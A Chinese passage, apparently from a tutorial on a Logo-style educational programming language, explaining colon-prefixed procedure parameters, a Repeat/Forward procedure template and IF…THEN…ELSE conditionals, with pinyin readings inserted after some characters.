)不斷地變化參數的內容。在選擇參數時(shí)，需要在參數名稱(chēng)前面加上冒號，用來(lái)與一般程序中的命令區別開(kāi)。如：起始程序名稱(chēng)N：參數1：參數2…／／定義列…………….Repeat：參數1[Forward：參數2…]／／輸入解決問(wèn)題所需的命令…………….終止當程序內容含有參數時(shí)，必須將所有參數寫(xiě)在定義列之后，以便執行時(shí)能接收必要的資料。3.IF…THEN…ELSE…條件執行語(yǔ)句基本格式為：IF條件表達式THEN[命令行1]ELSE[命令行2][命令行3]當條件表達式：成立時(shí)，執行[命令行1]內的命令；不成立時(shí)，執行[命令行2]內的指令；在執行完[命令行1]或[命令行2]之后，則繼續執行[命令行3]該軟件可在

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